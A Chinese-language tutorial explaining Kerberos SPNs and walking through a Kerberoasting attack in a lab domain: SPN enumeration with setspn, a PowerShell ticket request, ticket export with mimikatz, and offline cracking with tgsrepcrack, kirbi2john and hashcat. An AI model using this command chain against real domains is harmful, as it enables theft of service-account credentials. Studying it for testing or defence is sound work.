SPN定义
SPN(Service Principal Name)是Kerberos身份验证中用于标识特定服务实例(如HTTP、SMB、MySQL)的唯一名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。
SPN作用
举例:
- 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录
- 当找到该SPN记录后,用户会再次与KDC通信,将TGT和要访问的SPN发送给KDC
- KDC中的TGS服务对TGT进行解密,确认无误后,由TGS将一张允许访问该SPN所对应的服务的 ST服务票据 和 该SPN所对应的服务的地址 发送给用户,用户使用该票据即可访问MySQL服务
在渗透测试中,SPN通常用于服务发现和Kerberoasting攻击的第一步。通过SPN扫描,渗透测试人员可以识别网络中正在运行的重要服务,并利用Kerberoasting攻击获取凭据。
注册SPN
类型
SPN分为两种类型:
- 一种是注册在活动目录的机器帐户(Computers)下,这种情况通常适用于服务以本地系统或网络服务权限运行的情况。这样注册的 SPN 会与计算机帐户相关联。默认普通机器账号默认有权注册SPN。
- 一种是注册在活动目录的域用户帐户(Users)下,这种情况通常适用于服务以域用户权限运行的情况。这样注册的 SPN 会与特定的域用户帐户相关联。普通域用户账号默认无权注册SPN。
Kerberoasting攻击针对第2类,因为域用户帐户(Users)的密码有价值,而机器帐户(Computers)的密码无法用于远程连接,所以无太大价值。
普通机器账户
setspn -A MSSQLSvc/DESKTOP-9CAT508.org.gm7 DESKTOP-9CAT508
普通域用户账号
setspn -A MSSQL2Svc/DESKTOP-9CAT508.org.gm7 org.gm7\d4m1ts
默认无权限,这种情况下如果还是想要注册的话,需要给账户增加读写SPN的权限,操作如下。
再次尝试注册即可成功。
SPN服务发现与Kerberoasting
Kerberoasting简单来说就是暴破ST,因为ST是由服务的hash进行加密的,所以也是可以破解的;
因此Kerberoasting流程简单描述如下:通过SPN找到关键服务,再通过请求KDC的TGS拿到ST,最后对ST进行暴破
SPN服务发现
setspn -Q */* # 查看当前域内所有的SPN
setspn -T org.gm7 -Q */* # 指定域查询SPN
setspn -L d4m1ts # 查找指定用户的SPN
请求TGS
使用powershell请求,获取ST票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQL2Svc/DESKTOP-9CAT508.org.gm7"
导出ST
使用 mimikatz
mimikatz "kerberos::list /export" "exit"
暴破ST
使用 kerberoast 中的脚本破解
./tgsrepcrack.py password.txt 1-40a10000-d4m1ts@MSSQL2Svc\~DESKTOP-9CAT508.org.gm7-ORG.GM7.kirbi
也可以用kirbi2john
先转换为能够被hashcat识别的格式再用hashcat暴破
./kirbi2john.py 1-40a10000-d4m1ts@MSSQL2Svc\~DESKTOP-9CAT508.org.gm7-ORG.GM7.kirbi | tee hash.txt
hashcat -m 13100 hash.txt password.txt -o found.txt --force